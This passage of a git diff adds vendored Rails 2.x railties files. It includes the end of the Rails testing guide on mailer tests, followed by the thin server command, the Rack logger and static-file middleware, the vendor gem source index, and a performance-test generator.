+invite+ fixture is the body of the email and is used as the sample content to assert against. The helper +read_fixture+ is used to read in the content from this file. + +Here's the content of the +invite+ fixture: + +------------------------------------------------- +Hi friend@example.com, + +You have been invited. + +Cheers! +------------------------------------------------- + +This is the right time to understand a little more about writing tests for your mailers. The line +ActionMailer::Base.delivery_method = :test+ in +config/environments/test.rb+ sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (+ActionMailer::Base.deliveries+). + +However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be. + +=== Functional Testing === + +Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately: + +[source, ruby] +---------------------------------------------------------------- +require 'test_helper' + +class UserControllerTest < ActionController::TestCase + def test_invite_friend + assert_difference 'ActionMailer::Base.deliveries.size', +1 do + post :invite_friend, :email => 'friend@example.com' + end + invite_email = ActionMailer::Base.deliveries.first + + assert_equal invite_email.subject, "You have been invited by me@example.com" + assert_equal invite_email.to[0], 'friend@example.com' + assert_match /Hi friend@example.com/, invite_email.body + end +end +---------------------------------------------------------------- + +== Other Testing Approaches + +The built-in +test/unit+ based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including: + +* link:http://avdi.org/projects/nulldb/[NullDB], a way to speed up testing by avoiding database use. +* link:http://github.com/thoughtbot/factory_girl/tree/master[Factory Girl], as replacement for fixtures. +* link:http://www.thoughtbot.com/projects/shoulda[Shoulda], an extension to +test/unit+ with additional helpers, macros, and assertions. +* link: http://rspec.info/[RSpec], a behavior-driven development framework + +== Changelog == + +http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/8[Lighthouse ticket] + +* November 13, 2008: Revised based on feedback from Pratik Naik by link:../authors.html#asurve[Akshay Surve] (not yet approved for publication) +* October 14, 2008: Edit and formatting pass by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication) +* October 12, 2008: First draft by link:../authors.html#asurve[Akshay Surve] (not yet approved for publication) + diff --git a/vendor/rails/railties/helpers/performance_test.rb b/vendor/rails/railties/helpers/performance_test.rb new file mode 100644 index 00000000..4b60558b --- /dev/null +++ b/vendor/rails/railties/helpers/performance_test.rb @@ -0,0 +1,9 @@ +require 'test_helper' +require 'performance_test_help' + +# Profiling results for each test method are written to tmp/performance. +class BrowsingTest < ActionController::PerformanceTest + def test_homepage + get '/' + end +end diff --git a/vendor/rails/railties/lib/commands/servers/thin.rb b/vendor/rails/railties/lib/commands/servers/thin.rb new file mode 100644 index 00000000..833469ca --- /dev/null +++ b/vendor/rails/railties/lib/commands/servers/thin.rb @@ -0,0 +1,25 @@ +require 'rbconfig' +require 'commands/servers/base' +require 'thin' + + +options = ARGV.clone +options.insert(0,'start') unless Thin::Runner.commands.include?(options[0]) + +thin = Thin::Runner.new(options) + +puts "=> Rails #{Rails.version} application starting on http://#{thin.options[:address]}:#{thin.options[:port]}" +puts "=> Ctrl-C to shutdown server" + +log = Pathname.new("#{File.expand_path(RAILS_ROOT)}/log/#{RAILS_ENV}.log").cleanpath +open(log, (File::WRONLY | File::APPEND | File::CREAT)) unless File.exist? log +tail_thread = tail(log) +trap(:INT) { exit } + +begin + thin.run! +ensure + tail_thread.kill if tail_thread + puts 'Exiting' +end + diff --git a/vendor/rails/railties/lib/performance_test_help.rb b/vendor/rails/railties/lib/performance_test_help.rb new file mode 100644 index 00000000..5148b4ab --- /dev/null +++ b/vendor/rails/railties/lib/performance_test_help.rb @@ -0,0 +1,5 @@ +require 'action_controller/performance_test' + +ActionController::Base.perform_caching = true +ActiveSupport::Dependencies.mechanism = :require +Rails.logger.level = ActiveSupport::BufferedLogger::INFO diff --git a/vendor/rails/railties/lib/rails/rack.rb b/vendor/rails/railties/lib/rails/rack.rb new file mode 100644 index 00000000..b4f32c2d --- /dev/null +++ b/vendor/rails/railties/lib/rails/rack.rb @@ -0,0 +1,6 @@ +module Rails + module Rack + autoload :Logger, "rails/rack/logger" + autoload :Static, "rails/rack/static" + end +end diff --git a/vendor/rails/railties/lib/rails/rack/logger.rb b/vendor/rails/railties/lib/rails/rack/logger.rb new file mode 100644 index 00000000..89d02e45 --- /dev/null +++ b/vendor/rails/railties/lib/rails/rack/logger.rb @@ -0,0 +1,28 @@ +module Rails + module Rack + class Logger + EnvironmentLog = "#{File.expand_path(Rails.root)}/log/#{Rails.env}.log" + + def initialize(app, log = nil) + @app = app + @path = Pathname.new(log || EnvironmentLog).cleanpath + @cursor = ::File.size(@path) + @last_checked = Time.now + end + + def call(env) + response = @app.call(env) + ::File.open(@path, 'r') do |f| + f.seek @cursor + if f.mtime > @last_checked + contents = f.read + @last_checked = f.mtime + @cursor += contents.length + print contents + end + end + response + end + end + end +end diff --git a/vendor/rails/railties/lib/rails/rack/static.rb b/vendor/rails/railties/lib/rails/rack/static.rb new file mode 100644 index 00000000..45eb0e59 --- /dev/null +++ b/vendor/rails/railties/lib/rails/rack/static.rb @@ -0,0 +1,35 @@ +module Rails + module Rack + class Static + FILE_METHODS = %w(GET HEAD).freeze + + def initialize(app) + @app = app + @file_server = ::Rack::File.new(File.join(RAILS_ROOT, "public")) + end + + def call(env) + path = env['PATH_INFO'].chomp('/') + method = env['REQUEST_METHOD'] + cached_path = (path.empty? ? 'index' : path) + ::ActionController::Base.page_cache_extension + + if FILE_METHODS.include?(method) + if file_exist?(path) + return @file_server.call(env) + elsif file_exist?(cached_path) + env['PATH_INFO'] = cached_path + return @file_server.call(env) + end + end + + @app.call(env) + end + + private + def file_exist?(path) + full_path = File.join(@file_server.root, ::Rack::Utils.unescape(path)) + File.file?(full_path) && File.readable?(full_path) + end + end + end +end diff --git a/vendor/rails/railties/lib/rails/vendor_gem_source_index.rb b/vendor/rails/railties/lib/rails/vendor_gem_source_index.rb new file mode 100644 index 00000000..5b7721f3 --- /dev/null +++ b/vendor/rails/railties/lib/rails/vendor_gem_source_index.rb @@ -0,0 +1,140 @@ +require 'rubygems' +require 'yaml' + +module Rails + + class VendorGemSourceIndex + # VendorGemSourceIndex acts as a proxy for the Gem source index, allowing + # gems to be loaded from vendor/gems. Rather than the standard gem repository format, + # vendor/gems contains unpacked gems, with YAML specifications in .specification in + # each gem directory. + include Enumerable + + attr_reader :installed_source_index + attr_reader :vendor_source_index + + @@silence_spec_warnings = false + + def self.silence_spec_warnings + @@silence_spec_warnings + end + + def self.silence_spec_warnings=(v) + @@silence_spec_warnings = v + end + + def initialize(installed_index, vendor_dir=Rails::GemDependency.unpacked_path) + @installed_source_index = installed_index + @vendor_dir = vendor_dir + refresh! + end + + def refresh! + # reload the installed gems + @installed_source_index.refresh! + vendor_gems = {} + + # handle vendor Rails gems - they are identified by having loaded_from set to "" + # we add them manually to the list, so that other gems can find them via dependencies + Gem.loaded_specs.each do |n, s| + next unless s.loaded_from.empty? + vendor_gems[s.full_name] = s + end + + # load specifications from vendor/gems + Dir[File.join(Rails::GemDependency.unpacked_path, '*')].each do |d| + dir_name = File.basename(d) + dir_version = version_for_dir(dir_name) + spec = load_specification(d) + if spec + if spec.full_name != dir_name + # mismatched directory name and gem spec - produced by 2.1.0-era unpack code + if dir_version + # fix the spec version - this is not optimal (spec.files may be wrong) + # but it's better than breaking apps. Complain to remind users to get correct specs. + # use ActiveSupport::Deprecation.warn, as the logger is not set yet + $stderr.puts("config.gem: Unpacked gem #{dir_name} in vendor/gems has a mismatched specification file."+ + " Run 'rake gems:refresh_specs' to fix this.") unless @@silence_spec_warnings + spec.version = dir_version + else + $stderr.puts("config.gem: Unpacked gem #{dir_name} in vendor/gems is not in a versioned directory"+ + "(should be #{spec.full_name}).") unless @@silence_spec_warnings + # continue, assume everything is OK + end + end + else + # no spec - produced by early-2008 unpack code + # emulate old behavior, and complain. + $stderr.puts("config.gem: Unpacked gem #{dir_name} in vendor/gems has no specification file."+ + " Run 'rake gems:refresh_specs' to fix this.") unless @@silence_spec_warnings + if dir_version + spec = Gem::Specification.new + spec.version = dir_version + spec.require_paths = ['lib'] + ext_path = File.join(d, 'ext') + spec.require_paths << 'ext' if File.exist?(ext_path) + spec.name = /^(.*)-[^-]+$/.match(dir_name)[1] + files = ['lib'] + # set files to everything in lib/ + files += Dir[File.join(d, 'lib', '*')].map { |v| v.gsub(/^#{d}\//, '') } + files += Dir[File.join(d, 'ext', '*')].map { |v| v.gsub(/^#{d}\//, '') } if ext_path + spec.files = files + else + $stderr.puts("config.gem: Unpacked gem #{dir_name} in vendor/gems not in a versioned directory."+ + " Giving up.") unless @@silence_spec_warnings + next + end + end + spec.loaded_from = File.join(d, '.specification') + # finally, swap out full_gem_path + # it would be better to use a Gem::Specification subclass, but the YAML loads an explicit class + class << spec + def full_gem_path + path = File.join installation_path, full_name + return path if File.directory? path + File.join installation_path, original_name + end + end + vendor_gems[File.basename(d)] = spec + end + @vendor_source_index = Gem::SourceIndex.new(vendor_gems) + end + + def version_for_dir(d) + matches = /-([^-]+)$/.match(d) + Gem::Version.new(matches[1]) if matches + end + + def load_specification(gem_dir) + spec_file = File.join(gem_dir, '.specification') + YAML.load_file(spec_file) if File.exist?(spec_file) + end + + def find_name(*args) + @installed_source_index.find_name(*args) + @vendor_source_index.find_name(*args) + end + + def search(*args) + # look for vendor gems, and then installed gems - later elements take priority + @installed_source_index.search(*args) + @vendor_source_index.search(*args) + end + + def each(&block) + @vendor_source_index.each(&block) + @installed_source_index.each(&block) + end + + def add_spec(spec) + @vendor_source_index.add_spec spec + end + + def remove_spec(spec) + @vendor_source_index.remove_spec spec + end + + def size + @vendor_source_index.size + @installed_source_index.size + end + + end +end diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/USAGE new file mode 100644 index 00000000..d84051eb --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/USAGE @@ -0,0 +1,8 @@ +Description: + Stubs out a new performance test. Pass the name of the test, either + CamelCased or under_scored, as an argument. The new test class is + generated in test/performance/testname_test.rb + +Example: + `./script/generate performance_test GeneralStories` creates a GeneralStories + performance test in test/performance/general_stories_test.rb diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/performance_test_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/performance_test_generator.rb new file mode 100644 index 00000000..83ce8ac6 --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/performance_test_generator.rb @@ -0,0 +1,16 @@ +class PerformanceTestGenerator < Rails::Generator::NamedBase + default_options :skip_migration => false + + def manifest + record do |m| + # Check for class naming collisions. + m.class_collisions class_name, "#{class_name}Test" + + # performance test directory + m.directory File.join('test/performance', class_path) + + # performance test stub + m.template 'performance_test.rb', File.join('test/performance', class_path, "#{file_name}_test.rb") + end + end +end diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/templates/performance_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/templates/performance_test.rb new file mode 100644 index 00000000..27c91b0f --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/components/performance_test/templates/performance_test.rb @@ -0,0 +1,9 @@ +require 'test_helper' +require 'performance_test_help' + +class <%= class_name %>Test < ActionController::PerformanceTest + # Replace this with your real tests. + def test_homepage + get '/' + end +end diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/test_helper.rb b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/test_helper.rb new file mode 100644 index 00000000..cf148b8b --- /dev/null +++ b/vendor/rails/railties/lib/rails_generator/generators/components/plugin/templates/test_helper.rb @@ -0,0 +1,3 @@ +require 'rubygems' +require 'active_support' +require 'active_support/test_case' \ No newline at end of file